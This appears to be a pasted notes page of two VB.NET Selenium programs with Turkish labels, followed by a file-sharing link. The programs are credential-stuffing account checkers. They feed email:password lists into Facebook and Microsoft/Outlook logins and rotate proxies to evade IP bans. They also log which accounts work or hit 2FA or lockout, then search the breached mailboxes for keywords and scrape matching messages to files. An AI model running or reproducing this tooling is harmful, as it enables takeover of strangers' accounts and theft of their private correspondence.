Notes

Imports OpenQA.Selenium.Chrome
Imports OpenQA.Selenium
Public Class Form1
Dim driver As ChromeDriver
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Dim ChromeOptions = New ChromeOptions()
ChromeOptions.AddArguments("--start-maximized")
Dim driverService = ChromeDriverService.CreateDefaultService()
driverService.HideCommandPromptWindow = True
driver = New ChromeDriver(driverService, ChromeOptions)
driver.Navigate.GoToUrl("https://www.facebook.com/")
End Sub

Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
Try
Dim hesap As String = IO.File.ReadAllLines(CurDir() & "hesap.txt")(0)
driver.FindElement(By.XPath("//input[@id='email']")).SendKeys(hesap.Split(":")(0))
Timer1.Stop()
driver.FindElement(By.XPath("//input[@id='pass']")).SendKeys(hesap.Split(":")(1))
driver.FindElement(By.XPath("//button[@data-testid='royal_login_button']")).Click()
Timer2.Start()
Catch
End Try
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Timer1.Start()
End Sub

Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
Try
Dim kemal As String = driver.FindElement(By.XPath("//div[@class='fsl fwb fcb']")).Text
Me.Text = kemal
Timer2.Stop()

Dim hesaplarım As List(Of String) = IO.File.ReadAllLines(CurDir() & "hesap.txt").ToList
IO.File.AppendAllText(CurDir() & "log.txt", "Şifre hatalı " & hesaplarım(0) & vbNewLine)
hesaplarım.RemoveAt(0)
IO.File.WriteAllLines(CurDir() & "hesap.txt", hesaplarım)
driver.Close()
'yeni sekme acma
Dim ChromeOptions = New ChromeOptions()
ChromeOptions.AddArguments("--start-maximized")
Dim driverService = ChromeDriverService.CreateDefaultService()
driverService.HideCommandPromptWindow = True
driver = New ChromeDriver(driverService, ChromeOptions)
driver.Navigate.GoToUrl("https://www.facebook.com/")
Timer1.Start()
Catch
End Try
Try
Dim kemal As String = driver.FindElement(By.XPath("//span[.='Çıkış Yap']")).Text
Timer1.Stop()
Dim hesaplarım As List(Of String) = IO.File.ReadAllLines(CurDir() & "hesap.txt").ToList
IO.File.AppendAllText(CurDir() & "log.txt", "Giriş Başarılı " & hesaplarım(0) & vbNewLine)
hesaplarım.RemoveAt(0)
IO.File.WriteAllLines(CurDir() & "hesap.txt", hesaplarım)
driver.Close()


yenisekmeac()
Timer1.Start()
Catch
End Try
Try
Dim kemal As String = driver.FindElement(By.XPath("//h2[.='Geçici Olarak Engellendin']")).Text
Timer1.Stop()
IO.File.AppendAllText(CurDir() & "log.txt", "ip ban " & vbNewLine)
driver.Close()
yenisekmeac()
Timer1.Start()
Catch ex As Exception
End Try
End Sub
Sub yenisekmeac()
Dim ChromeOptions = New ChromeOptions()
ChromeOptions.AddArguments("--start-maximized")
Dim driverService = ChromeDriverService.CreateDefaultService()
driverService.HideCommandPromptWindow = True
driver = New ChromeDriver(driverService, ChromeOptions)
driver.Navigate.GoToUrl("https://www.facebook.com/")

End Sub

Private Sub ComboBox1_SelectedIndexChanged(sender As Object, e As EventArgs) Handles ComboBox1.SelectedIndexChanged

End Sub

Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click

End Sub
End Class









Imports OpenQA.Selenium
Imports OpenQA.Selenium.Chrome
Imports SeleniumProxyAuthentication

Public Class Form1
Dim driver As ChromeDriver
Dim hata As Integer
Private Sub wait(ByVal interval As Integer)
Dim sw As New Stopwatch
sw.Start()
Do While sw.ElapsedMilliseconds < interval
Application.DoEvents()
Loop
sw.Stop()
End Sub
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Try
For Each p As Process In Process.GetProcesses
Try
If p.ProcessName = "sigorta" Or p.ProcessName = "chrome" Or p.ProcessName = "chromedriver" Or p.ProcessName = "conhost" Then
p.Kill()
End If
Catch
End Try
Next
Catch
End Try
Try
TextBox1.Text = My.Settings.proxy
TextBox2.Text = My.Settings.api
TextBox3.Text = My.Settings.arama
TextBox4.Text = My.Settings.hata

Catch
End Try
' Me.Text = My.Settings.rad1
If My.Settings.rad1 = True Then
RadioButton1.Checked = True
Else
RadioButton2.Checked = True
End If
If My.Settings.chck1 = True Then
CheckBox1.Checked = True
Else
CheckBox1.Checked = False
End If
If IO.File.Exists(CurDir() & "start.ini") = True Then
IO.File.Delete(CurDir() & "start.ini")
neww()

End If
End Sub
Sub neww()

wait(1000)
x = 0
Try
driver.Close()
Catch
End Try
Try
Dim v As String = IO.File.ReadAllLines(CurDir() & "hesap.txt")(0).Split(":")(0)
Catch ex As Exception
MsgBox("Hesap bitdi", MsgBoxStyle.Information, "Uyarı")
Exit Sub
End Try
Dim useragent As String
Dim [option] = New ChromeOptions()
[option].AddProxyAuthenticationExtension(New SeleniumProxyAuthentication.Proxy(ProxyProtocols.HTTP, TextBox1.Text)) '"212.64.214.235:4120:XgCbMrSX:iboNNkJm"
useragent = "Mozilla/5.0 (Linux; Android 8; SAMSUNG SM-A037F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/16.2"
[option].AddArgument("--user-agent=" & useragent)
[option].AddArguments("--start-maximized")
Dim driverService = ChromeDriverService.CreateDefaultService()
driverService.HideCommandPromptWindow = True
driver = New ChromeDriver(driverService, [option])
driver.Navigate.GoToUrl("https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=13&ct=1647110630&rver=7.0.6737.0&wp=MBI_SSL&wreply=https%3a%2f%2foutlook.live.com%2fowa%2f%3fnlp%3d1%26RpsCsrfState%3d1540abf5-d495-9e77-1877-bdd565159011&id=292841&aadredir=1&CBCXT=out&lw=1&fl=dob%2cflname%2cwld&pcexp=false&cobrandid=90015")
Timer1.Start()
End Sub
Sub reset()
x = 0
wait(500)
hata = 0
Try
driver.Close()
Catch
End Try
Try
Dim dow As New Net.WebClient
Dim value As String = dow.DownloadString(TextBox2.Text) 'http://www.impexproxy.com/api/[email protected]&pid=400
If value = 1 Then
save("Reset başarlı")
Else
save("reset başarsız")
save(value)
End If
Catch ex As Exception
save("Reset atılamadı")
End Try
neww()
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click

neww()
End Sub

Dim x As Integer
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
'
Try
If driver.Url.Contains("login.live.com/") Then

Else
If driver.Url.Contains("outlook.live") Then

Else
Timer1.Stop()
sender.stop
Timer4.Stop()
save("Farklı domain")
Dim p As List(Of String) = IO.File.ReadAllLines(CurDir() & "hesap.txt").ToList
' IO.File.AppendAllText(CurDir() & "çıktı.txt", p(0) & vbTab & "parolayla çok sayıda oturum açma girişimi yaptınız." & vbNewLine)
p.RemoveAt(0)
IO.File.WriteAllLines(CurDir() & "hesap.txt", p)
If RadioButton2.Checked = True Then

If hata + 1 = CInt(TextBox4.Text) Then
save("hata 3 ulaştı")
reset()
Exit Sub
End If
hata = hata + 1
save("hata " & hata)
neww()
Else
reset()
End If
Exit Sub
End If
End If
Catch ex As Exception

End Try

'Bu sayfa çalışmıyor
Try
If driver.PageSource.Contains("Bu sayfa çalışmıyor") Then
sender.stop
Timer4.Stop()
save("Bu sayfa çalışmıyor")
Dim p As List(Of String) = IO.File.ReadAllLines(CurDir() & "hesap.txt").ToList
' IO.File.AppendAllText(CurDir() & "çıktı.txt", p(0) & vbTab & "parolayla çok sayıda oturum açma girişimi yaptınız." & vbNewLine)
p.RemoveAt(0)
IO.File.WriteAllLines(CurDir() & "hesap.txt", p)
If RadioButton2.Checked = True Then

If hata + 1 = CInt(TextBox4.Text) Then
save("hata 3 ulaştı")
reset()
Exit Sub
End If
hata = hata + 1
save("hata " & hata)
neww()
Else
reset()
End If
Exit Sub
End If
Catch
End Try
Try
If driver.PageSource.Contains("Bu siteye ulaşılamıyor") Then
sender.stop
Timer4.Stop()
save("Bu siteye ulaşılamıyor")
Dim p As List(Of String) = IO.File.ReadAllLines(CurDir() & "hesap.txt").ToList
' IO.File.AppendAllText(CurDir() & "çıktı.txt", p(0) & vbTab & "parolayla çok sayıda oturum açma girişimi yaptınız." & vbNewLine)
p.RemoveAt(0)
IO.File.WriteAllLines(CurDir() & "hesap.txt", p)
If RadioButton2.Checked = True Then

If hata + 1 = CInt(TextBox4.Text) Then
save("hata 3 ulaştı")
reset()
Exit Sub
End If
hata = hata + 1
save("hata " & hata)
neww()
Else
reset()
End If
Exit Sub
End If
Catch
End Try
Try
If driver.PageSource.Contains("Bu e-posta adresinin birden çok Microsoft hesabıyla kullanıldığı görülüyor. Hangi hesabı kullanmak istiyorsunuz?") Then
sender.stop
Timer4.Stop()
save("Bu e-posta adresinin birden çok Microsoft hesabıyla kullanıldığı görülüyor. Hangi hesabı kullanmak istiyorsunuz?")
Dim p As List(Of String) = IO.File.ReadAllLines(CurDir() & "hesap.txt").ToList
' IO.File.AppendAllText(CurDir() & "çıktı.txt", p(0) & vbTab & "parolayla çok sayıda oturum açma girişimi yaptınız." & vbNewLine)
p.RemoveAt(0)
IO.File.WriteAllLines(CurDir() & "hesap.txt", p)
If RadioButton2.Checked = True Then

If hata + 1 = CInt(TextBox4.Text) Then
save("hata 3 ulaştı")
reset()
Exit Sub
End If
hata = hata + 1
save("hata " & hata)
neww()
Else
reset()
End If
Exit Sub
End If
Catch
End Try
Try
If driver.PageSource.Contains("Geçerli bir e-posta adresi, telefon numarası veya Skype adı girin.") Then
sender.stop
Timer4.Stop()
save("Geçerli bir e-posta adresi, telefon numarası veya Skype adı girin.")
Dim p As List(Of String) = IO.File.ReadAllLines(CurDir() & "hesap.txt").ToList
' IO.File.AppendAllText(CurDir() & "çıktı.txt", p(0) & vbTab & "parolayla çok sayıda oturum açma girişimi yaptınız." & vbNewLine)
p.RemoveAt(0)
IO.File.WriteAllLines(CurDir() & "hesap.txt", p)
If RadioButton2.Checked = True Then

If hata + 1 = CInt(TextBox4.Text) Then
save("hata 3 ulaştı")
reset()
Exit Sub
End If
hata = hata + 1
save("hata " & hata)
neww()
Else
reset()
End If
Exit Sub
End If
Catch
End Try
Try

If driver.PageSource.Contains("Kodu girin") Then
sender.stop
Timer4.Stop()
save("Kodu girin")
Dim p As List(Of String) = IO.File.ReadAllLines(CurDir() & "hesap.txt").ToList
' IO.File.AppendAllText(CurDir() & "çıktı.txt", p(0) & vbTab & "parolayla çok sayıda oturum açma girişimi yaptınız." & vbNewLine)
p.RemoveAt(0)
IO.File.WriteAllLines(CurDir() & "hesap.txt", p)
If RadioButton2.Checked = True Then

If hata + 1 = CInt(TextBox4.Text) Then
save("hata 3 ulaştı")
reset()
Exit Sub
End If
hata = hata + 1
save("hata " & hata)
neww()
Else
reset()
End If
Exit Sub
End If
Catch
End Try
Try
If driver.PageSource.Contains("Hesabınızın güvenliğini sağlamamıza yardımcı olun") Then
sender.stop
Timer4.Stop()
save("Hesabınızın güvenliğini sağlamamıza yardımcı olun")
Dim p As List(Of String) = IO.File.ReadAllLines(CurDir() & "hesap.txt").ToList
' IO.File.AppendAllText(CurDir() & "çıktı.txt", p(0) & vbTab & "parolayla çok sayıda oturum açma girişimi yaptınız." & vbNewLine)
p.RemoveAt(0)
IO.File.WriteAllLines(CurDir() & "hesap.txt", p)
If RadioButton2.Checked = True Then

If hata + 1 = CInt(TextBox4.Text) Then
save("hata 3 ulaştı")
reset()
Exit Sub
End If
hata = hata + 1
save("hata " & hata)
neww()
Else
reset()
End If
Exit Sub
End If
Catch
End Try
Try
If driver.PageSource.Contains("bir sorun oluştu") Then
sender.stop
Timer4.Stop()
save("bir sorun oluştu")
Dim p As List(Of String) = IO.File.ReadAllLines(CurDir() & "hesap.txt").ToList
' IO.File.AppendAllText(CurDir() & "çıktı.txt", p(0) & vbTab & "parolayla çok sayıda oturum açma girişimi yaptınız." & vbNewLine)
p.RemoveAt(0)
IO.File.WriteAllLines(CurDir() & "hesap.txt", p)
If RadioButton2.Checked = True Then

If hata + 1 = CInt(TextBox4.Text) Then
save("hata 3 ulaştı")
reset()
Exit Sub
End If
hata = hata + 1
save("hata " & hata)
neww()
Else
reset()
End If
Exit Sub
End If
Catch
End Try
Try
If driver.PageSource.Contains("Microsoft Authenticator'ı denetle") Then
sender.stop
Timer4.Stop()
save("Microsoft Authenticator'ı denetle")
Dim p As List(Of String) = IO.File.ReadAllLines(CurDir() & "hesap.txt").ToList
' IO.File.AppendAllText(CurDir() & "çıktı.txt", p(0) & vbTab & "parolayla çok sayıda oturum açma girişimi yaptınız." & vbNewLine)
p.RemoveAt(0)
IO.File.WriteAllLines(CurDir() & "hesap.txt", p)
If RadioButton2.Checked = True Then

If hata + 1 = CInt(TextBox4.Text) Then
save("hata 3 ulaştı")
reset()
Exit Sub
End If
hata = hata + 1
save("hata " & hata)
neww()
Else
reset()
End If
Exit Sub
End If
Catch
End Try
Try
If driver.PageSource.Contains("parolayla çok sayıda oturum açma girişimi yaptınız.") Then
sender.stop
Timer4.Stop()
save("parolayla çok sayıda oturum açma girişimi yaptınız.")
Dim p As List(Of String) = IO.File.ReadAllLines(CurDir() & "hesap.txt").ToList
' IO.File.AppendAllText(CurDir() & "çıktı.txt", p(0) & vbTab & "parolayla çok sayıda oturum açma girişimi yaptınız." & vbNewLine)
p.RemoveAt(0)
IO.File.WriteAllLines(CurDir() & "hesap.txt", p)
If RadioButton2.Checked = True Then

If hata + 1 = CInt(TextBox4.Text) Then
save("hata 3 ulaştı")
reset()
Exit Sub
End If
hata = hata + 1
save("hata " & hata)
neww()
Else
reset()
End If
Exit Sub
End If
Catch
End Try
Try
If driver.PageSource.Contains("Hesabınızı korumamıza yardımcı olun") Then
sender.stop
Timer4.Stop()
save("Hesabınızı korumamıza yardımcı olun")
Dim p As List(Of String) = IO.File.ReadAllLines(CurDir() & "hesap.txt").ToList
' IO.File.AppendAllText(CurDir() & "çıktı.txt", p(0) & vbTab & "Hesabınızı korumamıza yardımcı olun" & vbNewLine)
p.RemoveAt(0)
IO.File.WriteAllLines(CurDir() & "hesap.txt", p)
If RadioButton2.Checked = True Then
' save("hata " & hata)
If hata + 1 = CInt(TextBox4.Text) Then
save("hata 3 ulaştı")
reset()
Exit Sub
End If
hata = hata + 1
save("hata " & hata)
neww()
Else
reset()
End If
Exit Sub
End If
Catch
End Try
'
Try
If driver.PageSource.Contains("hesabı yok. Başka bir hesap girin ya da") Then
sender.stop
Timer4.Stop()
save("Bu ada sahip bir Microsoft hesabı yok. Başka bir hesap girin ya da")
Dim p As List(Of String) = IO.File.ReadAllLines(CurDir() & "hesap.txt").ToList
' IO.File.AppendAllText(CurDir() & "çıktı.txt", p(0) & vbTab & "Bu ada sahip bir Microsoft hesabı yok. Başka bir hesap girin ya da" & vbNewLine)
p.RemoveAt(0)
IO.File.WriteAllLines(CurDir() & "hesap.txt", p)
If RadioButton2.Checked = True Then
' save("hata " & hata)
If hata + 1 = CInt(TextBox4.Text) Then
save("hata 3 ulaştı")
reset()
Exit Sub
End If
hata = hata + 1
save("hata " & hata)
neww()
Else
reset()
End If
Exit Sub
End If
Catch
End Try
Try
If driver.PageSource.Contains("Kimliğinizi doğrulayın") Then
sender.stop
Timer4.Stop()
save("Kimliğinizi doğrulayın")
Dim p As List(Of String) = IO.File.ReadAllLines(CurDir() & "hesap.txt").ToList
' IO.File.AppendAllText(CurDir() & "çıktı.txt", p(0) & vbTab & "Kimliğinizi doğrulayın" & vbNewLine)
p.RemoveAt(0)
IO.File.WriteAllLines(CurDir() & "hesap.txt", p)
If RadioButton2.Checked = True Then

If hata + 1 = CInt(TextBox4.Text) Then
save("hata 3 ulaştı")
reset()
Exit Sub
End If
hata = hata + 1
save("hata " & hata)
neww()
Else
reset()
End If
Exit Sub
End If
Catch
End Try
Try
If driver.PageSource.Contains("Hesap adınız ya da parolanız yanlış. Parolanızı hatırlamıyorsanız") Then
sender.stop
Timer4.Stop()
save("Hesap adınız ya da parolanız yanlış. Parolanızı hatırlamıyorsanız")
Dim p As List(Of String) = IO.File.ReadAllLines(CurDir() & "hesap.txt").ToList
' IO.File.AppendAllText(CurDir() & "çıktı.txt", p(0) & vbTab & "Hesap adınız ya da parolanız yanlış. Parolanızı hatırlamıyorsanız" & vbNewLine)
p.RemoveAt(0)
IO.File.WriteAllLines(CurDir() & "hesap.txt", p)
If RadioButton2.Checked = True Then
' save("hata " & hata)
If hata + 1 = CInt(TextBox4.Text) Then
save("hata 3 ulaştı")
reset()
Exit Sub
End If
hata = hata + 1
save("hata " & hata)
neww()
Else
reset()
End If
Exit Sub
End If
Catch
End Try
Try
If driver.PageSource.Contains("Oturum açma engellendi") Then
sender.stop
Timer4.Stop()
save("Oturum açma engellendi")
Dim p As List(Of String) = IO.File.ReadAllLines(CurDir() & "hesap.txt").ToList
' IO.File.AppendAllText(CurDir() & "çıktı.txt", p(0) & vbTab & "Oturum açma engellendi" & vbNewLine)
p.RemoveAt(0)
IO.File.WriteAllLines(CurDir() & "hesap.txt", p)
If RadioButton2.Checked = True Then
' save("hata " & hata)
If hata + 1 = CInt(TextBox4.Text) Then
save("hata 3 ulaştı")
reset()
Exit Sub
End If
hata = hata + 1
save("hata " & hata)
neww()
Else
reset()
End If
Exit Sub
End If
Catch
End Try
Try
Select Case x
Case 0
Dim w As IWebElement = driver.FindElement(By.XPath("//input[@name='loginfmt']"))
Me.Text = Rnd()
w.SendKeys(IO.File.ReadAllLines(CurDir() & "hesap.txt")(0).Split(":")(0))
w.SendKeys(Keys.Enter)
x = 1
Case 1
Dim w As IWebElement = driver.FindElement(By.XPath("//input[@name='passwd']"))
Try
If w.GetAttribute("aria-hidden") = "true" Then
Else
w.SendKeys(IO.File.ReadAllLines(CurDir() & "hesap.txt")(0).Split(":")(1))
driver.FindElement(By.XPath("//input[@name='passwd']")).SendKeys(Keys.Enter)
Timer4.Start()
x = 2
sender.start
End If
Catch
End Try
Case 2
Dim w As IWebElement = driver.FindElement(By.XPath("//input[@id='txtSch']"))
w.Click()

save("hesap onaylı")
sender.stop
Timer4.Stop()

If CheckBox1.Checked = True Then
count = 0
Timer2.Start()
Else
Dim p As List(Of String) = IO.File.ReadAllLines(CurDir() & "hesap.txt").ToList
IO.File.AppendAllText(CurDir() & "hesap onaylı.txt", p(0) & vbNewLine)
p.RemoveAt(0)
IO.File.WriteAllLines(CurDir() & "hesap.txt", p)
reset()
End If
End Select
Catch
End Try
End Sub

Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs) Handles TextBox1.TextChanged
Try
My.Settings.proxy = sender.text
My.Settings.Save()
Catch
End Try
End Sub

Private Sub TextBox2_TextChanged(sender As Object, e As EventArgs) Handles TextBox2.TextChanged
Try
My.Settings.api = sender.text
My.Settings.Save()
Catch
End Try
End Sub

Private Sub TextBox3_TextChanged(sender As Object, e As EventArgs) Handles TextBox3.TextChanged
Try
My.Settings.arama = sender.text
My.Settings.Save()
Catch
End Try
End Sub
Dim count As Integer
Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
sender.stop
If TextBox3.Text = "" Then
Else
Try
Dim w As IWebElement = driver.FindElement(By.XPath("//input[@id='txtSch']"))
w.Clear()
w.SendKeys(TextBox3.Text.Split(",")(count))
w.SendKeys(Keys.Enter)
count = count + 1
Timer3.Start()
Catch ex As Exception
Dim p As List(Of String) = IO.File.ReadAllLines(CurDir() & "hesap.txt").ToList
IO.File.AppendAllText(CurDir() & "hesap onaylı.txt", p(0) & vbNewLine)
p.RemoveAt(0)
IO.File.WriteAllLines(CurDir() & "hesap.txt", p)
reset()
End Try
End If
End Sub

Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
Try
If driver.PageSource.Contains("Arama ölçütünüzle eşleşen öğe yok") Then
sender.stop
save(TextBox3.Text.Split(",")(count - 1) & " Arama ölçütünüzle eşleşen öğe yok. ")
'
Try
Dim jscript As IJavaScriptExecutor = TryCast(driver, IJavaScriptExecutor)
jscript.ExecuteScript("arguments[0].remove()", driver.FindElement(By.XPath("//div[@class='w100']")))
Catch
End Try
Timer2.Start()
Exit Sub
End If
Catch
End Try
Try
If driver.PageSource.Contains("Öğe bulunamadı.") Then
sender.stop
save(TextBox3.Text.Split(",")(count - 1) & " Öğe bulunamadı. ")
Try
Dim jscript As IJavaScriptExecutor = TryCast(driver, IJavaScriptExecutor)
jscript.ExecuteScript("arguments[0].remove()", driver.FindElement(By.XPath("//div[@class='w100']")))
Catch
End Try
Timer2.Stop()
Exit Sub
End If
Catch
End Try
'
Try
Dim w As IWebElement = driver.FindElement(By.XPath("//div[@class='w100']"))
If w.Text.Contains("sonuç bulundu.") Then
sender.stop
Dim hesap As String = IO.File.ReadAllLines(CurDir() & "hesap.txt")(0).Split(":")(0)
If IO.File.Exists(CurDir() & "hesaplar" & hesap & ".txt") = False Then
IO.File.WriteAllText(CurDir() & "hesaplar" & hesap & ".txt", "-------------------------------------------------------------------" & vbNewLine)
IO.File.AppendAllText(CurDir() & "hesaplar" & hesap & ".txt", "- " & IO.File.ReadAllLines(CurDir() & "hesap.txt")(0) & vbNewLine)
IO.File.AppendAllText(CurDir() & "hesaplar" & hesap & ".txt", "-------------------------------------------------------------------" & vbNewLine)
End If
save("veri")
Try
For i As Integer = 4 To 23
Dim m1 As String
Dim m2 As String
Dim m3 As String
Try
m1 = driver.FindElement(By.XPath("(//table[@class='lvw']//tr)[" & i & "]//td[5]")).Text.Trim
m2 = driver.FindElement(By.XPath("(//table[@class='lvw']//tr)[" & i & "]//td[6]")).Text.Trim
m3 = driver.FindElement(By.XPath("(//table[@class='lvw']//tr)[" & i & "]//td[7]")).Text.Trim
Catch
End Try
If m1 = "" Then
Else
IO.File.AppendAllText(CurDir() & "hesaplar" & hesap & ".txt", m1 & vbTab & m2 & vbTab & m3 & vbNewLine)
IO.File.AppendAllText(CurDir() & "hesaplarGENEL.txt", hesap & vbTab & m1 & vbTab & m2 & vbTab & m3 & vbNewLine)

End If
Next
Catch
End Try
IO.File.AppendAllText(CurDir() & "hesaplarGENEL.txt", "-------------------------------------------------------------------" & vbNewLine)
IO.File.AppendAllText(CurDir() & "hesaplar" & hesap & ".txt", "-------------------------------------------------------------------" & vbNewLine)
Timer2.Start()
End If
Catch
End Try
End Sub

Private Sub CheckBox1_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBox1.CheckedChanged
If sender.checked = True Then
TextBox3.Enabled = True
My.Settings.chck1 = True
My.Settings.Save()
Else
TextBox3.Enabled = False
My.Settings.chck1 = False
My.Settings.Save()
End If
End Sub

Private Sub RadioButton2_CheckedChanged(sender As Object, e As EventArgs) Handles RadioButton2.CheckedChanged
If RadioButton2.Checked = True Then
TextBox4.Enabled = True
Else
TextBox4.Enabled = False
End If
My.Settings.rad1 = False
My.Settings.Save()
' Me.Text = My.Settings.rad1
End Sub

Private Sub Timer4_Tick(sender As Object, e As EventArgs) Handles Timer4.Tick

End Sub

Private Sub TextBox4_TextChanged(sender As Object, e As EventArgs) Handles TextBox4.TextChanged
Try
My.Settings.hata = sender.text
My.Settings.Save()
Catch
End Try
End Sub

Private Sub RadioButton1_CheckedChanged(sender As Object, e As EventArgs) Handles RadioButton1.CheckedChanged
My.Settings.rad1 = sender.checked
My.Settings.Save()
End Sub
End Class

https://s7.dosya.tc/server21/3v7qkf/qwe.rar.html